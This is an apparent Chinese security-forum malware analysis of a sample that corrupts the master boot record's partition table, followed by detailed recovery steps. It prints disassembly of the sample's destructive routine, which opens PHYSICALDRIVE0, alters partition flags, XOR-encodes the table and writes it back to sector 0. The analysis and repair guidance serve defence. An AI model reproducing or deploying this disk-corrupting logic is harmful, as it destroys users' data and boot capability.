|
今日无事,本想睡大觉的,这周加起来也没有睡够24小时的觉,
去卡饭转了一圈,OD跟了一样本,却发生一件很不幸的事情,很无奈!分区表被改。。。分析如下:
http://bbs.kafan.cn/viewthread.p ... p;extra=&page=1
打开磁盘并锁定,IOCTL_DISK_GET_DRIVE_GEOMETRY得到柱面数、磁盘介质类型、磁头数、每磁道扇区数、每扇区字节数,取每扇区字节数作为堆大小申请堆,读磁盘前512字节保存,解锁关句柄;
将第一分区标志修改为非法,将第一分区起始磁头号设置为0磁头,将第一分区类型设置为EBR中扩展DOS分区标记,取1C3h~1FEh每字节与1A进行异或处理。
00401142 |. C68424 EE010000 >mov byte ptr ss:[esp+1EE],50
0040114A |. C68424 EF010000 >mov byte ptr ss:[esp+1EF],0
00401152 |. C68424 F2010000 >mov byte ptr ss:[esp+1F2],5
0040115A |. B8 C3010000 mov eax,1C3
0040115F |> 8A4C04 30 /mov cl,byte ptr ss:[esp+eax+30]
00401163 |. 80F1 1A |xor cl,1A
00401166 |. 884C04 30 |mov byte ptr ss:[esp+eax+30],cl
0040116A |. 40 |inc eax
0040116B |. 3D FE010000 |cmp eax,1FE
00401170 |.^ 7E ED \jle short kd.0040115F
处理完毕后重新打开物理磁盘并锁定,将加密后的数据写入主引导扇区,解锁关句柄。
未中毒时数据:
00143980 00 00 00 00 00 00 00 00 B9 44 9E A8 00 00 80 01 ........笵灗..
00143990 01 00 07 FE FF FF 3F 00 00 00 39 B1 D4 01 00 00 . ? ...9痹 ..
001439A0 C1 FF 0F FE FF FF 78 B1 D4 01 88 F4 7B 07 00 00 ? ? 痹 堲{ ..
001439B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
001439C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U
中毒后数据:
0012FF34 00 00 00 00 00 00 00 00 B9 44 9E A8 00 00 50 00 ........笵灗..P.
0012FF44 01 00 05 E4 E5 E5 25 1A 1A 1A 23 AB CE 1B 1A 1A . 溴? #
0012FF54 DB E5 15 E4 E5 E5 62 AB CE 1B 92 EE 61 1D 1A 1A 坼 溴錬 掝a
0012FF64 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
0012FF74 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 4F AA O
部分反汇编代码:
引用:
0040105D |. 6A 00 push 0 ; /pOverlapped = NULL
0040105F |. 50 push eax ; |pBytesReturned
00401060 |. 6A 00 push 0 ; |OutBufferSize = 0
00401062 |. 6A 00 push 0 ; |OutBuffer = NULL
00401064 |. 6A 00 push 0 ; |InBufferSize = 0
00401066 |. 6A 00 push 0 ; |InBuffer = NULL
00401068 |. 68 18000900 push 90018 ; |IoControlCode = FSCTL_LOCK_VOLUME
0040106D |. 56 push esi ; |hDevice
0040106E |. FFD5 call ebp ; \DeviceIoControl
00401070 |. 8D4C24 10 lea ecx,dword ptr ss:[esp+10]
00401074 |. 6A 00 push 0 ; /pOverlapped = NULL
00401076 |. 51 push ecx ; |pBytesReturned
00401077 |. 8D5424 20 lea edx,dword ptr ss:[esp+20] ; |
0040107B |. 6A 18 push 18 ; |OutBufferSize = 18 (24.)
0040107D |. 52 push edx ; |OutBuffer
0040107E |. 6A 00 push 0 ; |InBufferSize = 0
00401080 |. 6A 00 push 0 ; |InBuffer = NULL
00401082 |. 68 00000700 push 70000 ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY
00401087 |. 56 push esi ; |hDevice
00401088 |. FFD5 call ebp ; \DeviceIoControl
0040108A |. 8B4424 2C mov eax,dword ptr ss:[esp+2C] ; //得到每扇区字节数
0040108E |. 50 push eax ; /HeapSize
0040108F |. 6A 08 push 8 ; |Flags = HEAP_ZERO_MEMORY
00401091 |. FF15 10504000 call dword ptr ds:[<&KERNEL32.GetProc>; |[GetProcessHeap
00401097 |. 50 push eax ; |hHeap
00401098 |. FF15 0C504000 call dword ptr ds:[<&KERNEL32.HeapAll>; \HeapAlloc
0040109E |. 8BE8 mov ebp,eax
004010A0 |. 85ED test ebp,ebp
004010A2 |. 75 12 jnz short kd.004010B6
004010A4 |. 6A 10 push 10
004010A6 |. 68 58604000 push kd.00406058
004010AB |. 68 44604000 push kd.00406044
004010B0 |. 50 push eax
004010B1 |. FFD3 call ebx
004010B3 |. 55 push ebp
004010B4 |. FFD7 call edi
004010B6 |> 8D4C24 14 lea ecx,dword ptr ss:[esp+14]
004010BA |. 6A 00 push 0 ; /pOverlapped = NULL
004010BC |. 51 push ecx ; |pBytesRead
004010BD |. 68 00020000 push 200 ; |BytesToRead = 200 (512.)
004010C2 |. 55 push ebp ; |Buffer
004010C3 |. 56 push esi ; |hFile
004010C4 |. FF15 08504000 call dword ptr ds:[<&KERNEL32.ReadFil>; \ReadFile
004010CA |. 85C0 test eax,eax
004010CC |. 74 0A je short kd.004010D8
004010CE |. 817C24 14 000200>cmp dword ptr ss:[esp+14],200
004010D6 |. 73 14 jnb short kd.004010EC
004010D8 |> 6A 10 push 10
004010DA |. 68 58604000 push kd.00406058
004010DF |. 68 44604000 push kd.00406044
004010E4 |. 6A 00 push 0
004010E6 |. FFD3 call ebx
004010E8 |. 6A 00 push 0
004010EA |. FFD7 call edi
004010EC |> B9 7F000000 mov ecx,7F
004010F1 |. 33C0 xor eax,eax
004010F3 |. 8D7C24 31 lea edi,dword ptr ss:[esp+31]
004010F7 |. C64424 30 00 mov byte ptr ss:[esp+30],0
004010FC |. F3:AB rep stos dword ptr es:[edi]
004010FE |. 66:AB stos word ptr es:[edi]
00401100 |. AA stos byte ptr es:[edi]
00401101 |. 8BFD mov edi,ebp
00401103 |. 8D5424 30 lea edx,dword ptr ss:[esp+30]
00401107 |. 33C0 xor eax,eax
00401109 |. 2BFA sub edi,edx
0040110B |> 8D4C04 30 /lea ecx,dword ptr ss:[esp+eax+30]
0040110F |. 40 |inc eax
00401110 |. 3D 00020000 |cmp eax,200
00401115 |. 8A140F |mov dl,byte ptr ds:[edi+ecx]
00401118 |. 8811 |mov byte ptr ds:[ecx],dl
0040111A |.^ 7C EF \jl short kd.0040110B
0040111C |. 8D4424 10 lea eax,dword ptr ss:[esp+10]
00401120 |. 8B3D 14504000 mov edi,dword ptr ds:[<&KERNEL32.Devi>; kernel32.DeviceIoControl
00401126 |. 6A 00 push 0 ; /pOverlapped = NULL
00401128 |. 50 push eax ; |pBytesReturned
00401129 |. 6A 00 push 0 ; |OutBufferSize = 0
0040112B |. 6A 00 push 0 ; |OutBuffer = NULL
0040112D |. 6A 00 push 0 ; |InBufferSize = 0
0040112F |. 6A 00 push 0 ; |InBuffer = NULL
00401131 |. 68 1C000900 push 9001C ; |IoControlCode = FSCTL_UNLOCK_VOLUME
00401136 |. 56 push esi ; |hDevice
00401137 |. FFD7 call edi ; \DeviceIoControl
00401139 |. 8B2D 04504000 mov ebp,dword ptr ds:[<&KERNEL32.Clos>; kernel32.CloseHandle
0040113F |. 56 push esi ; /hObject
00401140 |. FFD5 call ebp ; \CloseHandle
00401142 |. C68424 EE010000 >mov byte ptr ss:[esp+1EE],50
0040114A |. C68424 EF010000 >mov byte ptr ss:[esp+1EF],0
00401152 |. C68424 F2010000 >mov byte ptr ss:[esp+1F2],5
0040115A |. B8 C3010000 mov eax,1C3
0040115F |> 8A4C04 30 /mov cl,byte ptr ss:[esp+eax+30]
00401163 |. 80F1 1A |xor cl,1A
00401166 |. 884C04 30 |mov byte ptr ss:[esp+eax+30],cl
0040116A |. 40 |inc eax
0040116B |. 3D FE010000 |cmp eax,1FE
00401170 |.^ 7E ED \jle short kd.0040115F
00401172 |. 6A 00 push 0 ; /hTemplateFile = NULL
00401174 |. 6A 00 push 0 ; |Attributes = 0
00401176 |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
00401178 |. 6A 00 push 0 ; |pSecurity = NULL
0040117A |. 6A 03 push 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0040117C |. 68 000000C0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
00401181 |. 68 60604000 push kd.00406060 ; |FileName = "\\.\PHYSICALDRIVE0"
00401186 |. FF15 1C504000 call dword ptr ds:[<&KERNEL32.CreateF>; \CreateFileA
0040118C |. 8BF0 mov esi,eax
0040118E |. 83FE FF cmp esi,-1
00401191 |. 75 18 jnz short kd.004011AB
00401193 |. 6A 10 push 10
00401195 |. 68 58604000 push kd.00406058
0040119A |. 68 44604000 push kd.00406044
0040119F |. 6A 00 push 0
004011A1 |. FFD3 call ebx
004011A3 |. 6A 00 push 0 ; /ExitCode = 0
004011A5 |. FF15 18504000 call dword ptr ds:[<&KERNEL32.ExitPro>; \ExitProcess
004011AB |> 8D4C24 10 lea ecx,dword ptr ss:[esp+10]
004011AF |. 6A 00 push 0
004011B1 |. 51 push ecx
004011B2 |. 6A 00 push 0
004011B4 |. 6A 00 push 0
004011B6 |. 6A 00 push 0
004011B8 |. 6A 00 push 0
004011BA |. 68 18000900 push 90018
004011BF |. 56 push esi
004011C0 |. FFD7 call edi
004011C2 |. 8D5424 14 lea edx,dword ptr ss:[esp+14]
004011C6 |. 6A 00 push 0 ; /pOverlapped = NULL
004011C8 |. 52 push edx ; |pBytesWritten
004011C9 |. 8D4424 38 lea eax,dword ptr ss:[esp+38] ; |
004011CD |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
004011D2 |. 50 push eax ; |Buffer
004011D3 |. 56 push esi ; |hFile
004011D4 |. FF15 00504000 call dword ptr ds:[<&KERNEL32.WriteFi>; \WriteFile
004011DA |. 85C0 test eax,eax
004011DC |. 74 0A je short kd.004011E8
004011DE |. 817C24 14 000200>cmp dword ptr ss:[esp+14],200
004011E6 |. 73 18 jnb short kd.00401200
004011E8 |> 6A 10 push 10
004011EA |. 68 58604000 push kd.00406058
004011EF |. 68 30604000 push kd.00406030
004011F4 |. 6A 00 push 0
004011F6 |. FFD3 call ebx
004011F8 |. 6A 00 push 0 ; /ExitCode = 0
004011FA |. FF15 18504000 call dword ptr ds:[<&KERNEL32.ExitPro>; \ExitProcess
================================救命分割线=================================
给出三种解决方法,适合不同种类人。。。
1、中毒后没有重启计算机情况适用:
解决方案:重新运行一遍样本,再异或一次,修改三个标志位即可恢复
1BEh:50改80,因为00代表非活动分区,80代表活动分区,其余非法。
1BFh:00改01,因为通常1磁头作为第一分区的物理磁头号
1C2h:05改如下
如果你硬盘的第一分区是NTFS请改为07(带隐藏属性改17);如果为FAT32则改为0B(带隐藏属性改1C);如果为动态分区则为42;如果未知分区格式,见下文,已知则修复完毕。
2、未知分区格式或重启计算机无法启动者适用:
使用WINPE中的winhex或者DE等等打开主引导扇区,在WINHEX中直接打开那块磁盘即可,DE则打开LBA 0扇区。
定位到如下数据:
高亮出包含硬盘分区表共64字节,每十六字节代表一个分区表,共占偏移1BEh~1FDh;后两字节为分区表结束标志,必须为AA55。
分区表中各字节解释:
1BEh:激活标志
1BFh:分区起始磁头号
1C0h:分区起始扇区号
1C1h:分区起始柱面号
1C2h:改分区文件系统标识符
1C3h:分区结束磁头号(如bios或硬盘不支持CHS寻址方式请添FE,通常SATA硬盘与较新主板已经不支持)
1C4h:分区结束扇区号(如bios或硬盘不支持CHS寻址方式请添FF,通常SATA硬盘与较新主板已经不支持)
1C5h:分区结束柱面号(如bios或硬盘不支持CHS寻址方式请添FF,通常SATA硬盘与较新主板已经不支持)
1C6h~1C9h(DWORD):分区前空余扇区数
1CAh~1CDh(DWORD):本分区扇区数
INT13&ATA换算、LBA&CHS、磁头&磁道&柱面&扇区等概念请自行查阅相关资料
手写分区表过程如下:
因为第一分区通常存在于硬盘LBA63扇,所以第一个分区表起始磁头号为01,起始扇区号为01,起始柱面号为00;因为MBR会占用C/H/S:00/00/01,所以在这个分区前多出一个磁道,也就是63个扇区,那么分区前空余扇区数就要添63的十六进制数3F
下面转到第一分区起始地址
观察03h~06h是否为NTFS,如果是修改分区表文件系统标识符为07,如果不是则看52h是否为FAT32,如果是修改分区表文件系统标识符为0B。
如果为NTFS,取上图BPB中28~2F值+1作为该分区扇区数,因为这个是面向改分区可以使用的分区总扇区数,并未包含DBR的一个扇区在内。我这里的扇区数是1D4B139,这个数字+62就是分区的LBA结束地址,如果+63,理论上为62+1,就是第一个EBR的位置,下图可以看到第一个EBR自己地址以及描述的第一个扩展分区和第二个EBR地址;如果是FAT32,则取20h~23h作为该分区扇区数
因为SATA与扩展Int13的对应关系一直没有人公开,且bios也不再支持CHS,扩展分区的CHS值无从添起,但不影响正常使用,一般情况下磁头值为0,柱面为FF,扇区为不定值;如果为IDE硬盘,起始结束的CHS则可以使用如下方式算出,将左侧的柱面号转换为二进制数(共十位),取第八位值转为18进制为C值,将扇区号转为二进制(共六位),将柱面剩余的高二位加到扇区的高二位上面,转化为十六进制添为S值,H值是多少转多少就可以。
因为扩展分区与第一个分区所在磁头号不同,所以第一分区扇区数+一个磁道的扇区数就是扩展分区前扇区数,这个值也是第一个EBR所在LBA扇区号(这里一定要搞清楚扇区数与LBA扇区号的区别,因为LBA下最小扇区号为0,而扇区数却是以1开始,CHS的扇区号也是以1开始);因为所填的是MBR中的扩展分区标志,所以要填0F;高亮出需要最后算出大小。
扩展分区的起始地址有了,第一个逻辑分区前扇区数有了,相加就等于第一个逻辑分区前地址,记下该逻辑分区扇区数后再相加,就是第二个EBR地址,(这里一定要搞清楚扇区数与LBA扇区号的区别,因为LBA下最小扇区号为0,而扇区数却是以1开始,CHS的扇区号也是以1开始)
其他不关心,我们只关心分区扇区数与分区前扇区数,同上记下该分区扇区数,跳当前扇区号+63+该分区扇区数
看到了,只剩一个分区了,在次记下扇区数,这时记下的三个扇区数的值分别为:30d3c74,2711637,1fda120,一共三个三个逻辑分区,也就意味着EBR链表中有三个链,每个链占用63个扇区,也就是Winhex中可以看到的分区间距32.5K这个数据,相加就等于扩展分区总扇区数:30d3c74+2711637+1fda120+63×3=77BF488,回头在DPT中写上,剩余两个分区表填零,纠正分区表结束标志AA55,手写分区表完毕。
3、最简单的方法,适合任何人使用,使用diskgen、PR、NDD、PDT等工具均可以自动修复,之所以写到最后只是想免去一些人偷懒心理。 |
|